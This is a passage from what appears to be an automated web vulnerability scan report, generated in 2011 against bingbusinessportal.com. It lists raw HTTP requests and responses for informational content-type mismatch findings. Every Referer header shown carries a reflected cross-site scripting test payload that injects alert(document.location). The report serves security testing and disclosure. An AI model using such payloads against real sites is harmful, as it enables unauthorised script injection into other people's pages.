User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
x-LiveRequest: Y
Referer: http://www.bingbusinessportal.com/default.aspx?op=edit&id=YN206x400147109f75ba%22%3balert(document.location)//35b94a2a553

Response

HTTP/1.0 200 OK
Content-Length: 4
Date: Sat, 27 Aug 2011 17:34:31 GMT
Content-Type: application/json; charset=UTF-8
X-LCRequestID: LAMWeb3-Bing-Realtime-1_20110827123431546_2476_1070818,BingCache2-Realtime-1_20110827173431546_1688_1
X-LCCacheResult: C=N;S=N;T=77
Server: LiveObjectWebServer/5.5 (rv=1.09)
P3P: CP="NOI DSP LAW NID PSA ADM OUR"
Expires: Sat, 27 Aug 2011 17:34:32 GMT
Last-Modified: Sat, 27 Aug 2011 17:34:31 GMT
Cache-Control: max-age=0,s-max-age=0,public

[]

7.3. http://www.bingbusinessportal.com/Node:%5Bsystem%5D.GetObjectListDataAsJSON  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://www.bingbusinessportal.com
Path:   /Node:%5Bsystem%5D.GetObjectListDataAsJSON

Issue detail

The response contains the following Content-type statement:The response states that it contains JSON. However, it actually appears to contain plain text.

Request

GET /Node:%5Bsystem%5D.GetObjectListDataAsJSON?aDataTypeList=PrimaryDomain&aUse=Node&aCountSubNodes=Y HTTP/1.1
Host: www.bingbusinessportal.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
x-LiveRequest: Y
Referer: http://www.bingbusinessportal.com/default.aspx?op=edit&id=YN206x400147109f75ba%22%3balert(document.location)//35b94a2a553

Response

HTTP/1.0 200 OK
Content-Length: 503
Date: Sat, 27 Aug 2011 17:35:51 GMT
Content-Type: application/json; charset=UTF-8
X-LCRequestID: LAMWeb3-Bing-Realtime-1_20110826232738453_4816_1036944,BingCache1-Realtime-1_20110827173551546_1620_1
X-LCCacheResult: C=N;S=Y;T=13
Server: LiveObjectWebServer/5.5 (rv=1.09)
P3P: CP="NOI DSP LAW NID PSA ADM OUR"
Expires: Sat, 27 Aug 2011 17:35:52 GMT
Last-Modified: Wed, 24 Aug 2011 22:23:09 GMT
Age: 0
Cache-Control: max-age=0,s-max-age=0,public

[{"__TOTALITEMS__":1,"DisplayName":"Bing Business Portal","HierarchyPosition":"BINGL000020000200007","Id":"592816214","LevelNumber":4,"NamePath":"[Application]\\\\Internal Hierarchy\\\\Interfaces\\\\B
...[SNIP]...

7.4. http://www.bingbusinessportal.com/Node:BINGL0000100001000080000700003.GetTabsV2AsJSON  previous

Summary

Severity:   Information
Confidence:   Firm
Host:   http://www.bingbusinessportal.com
Path:   /Node:BINGL0000100001000080000700003.GetTabsV2AsJSON

Issue detail

The response contains the following Content-type statement:The response states that it contains HTML. However, it actually appears to contain JSON.

Request

GET /Node:BINGL0000100001000080000700003.GetTabsV2AsJSON?aDataTypeList=LocalizedText&aTabNameList=Claim HTTP/1.1
Host: www.bingbusinessportal.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
x-LiveRequest: Y
Referer: http://www.bingbusinessportal.com/default.aspx?op=edit&id=YN206x400147109f75ba%22%3balert(document.location)//35b94a2a553

Response

HTTP/1.0 200 OK
Content-Length: 1536
X-LCUnCompressedSize: 1536
Date: Sat, 27 Aug 2011 17:34:31 GMT
Content-Type: text/html; charset=UTF-8
X-LCRequestID: LAMWeb4-Bing-RealTime-1_20110827114922031_1332_1015141,BingCache2-Realtime-1_20110827173431483_4364_1
X-LCCacheResult: C=N;S=Y;T=0
X-LSCacheExpires: Sat, 27 Aug 2011 19:49:22 GMT
Server: LiveObjectWebServer/5.5 (rv=1.09)
P3P: CP="NOI DSP LAW NID PSA ADM OUR"
Expires: Sat, 27 Aug 2011 18:34:30 GMT
Last-Modified: Sat, 27 Aug 2011 16:49:22 GMT
Cache-Control: max-age=3599,s-max-age=3599,public

[{"DisplayName":"Claim","DisplayValue":"Claim","Enabled":"Y","HierarchyPosition":"BINGL0000100001000080000700003::~~Tab~~((Claim))","Id":"Claim","IsOnObject":false,"ItemAlias":"Tab_Claim","Layout Type
...[SNIP]...

Report generated by XSS.CX at Sat Aug 27 11:44:36 GMT-06:00 2011.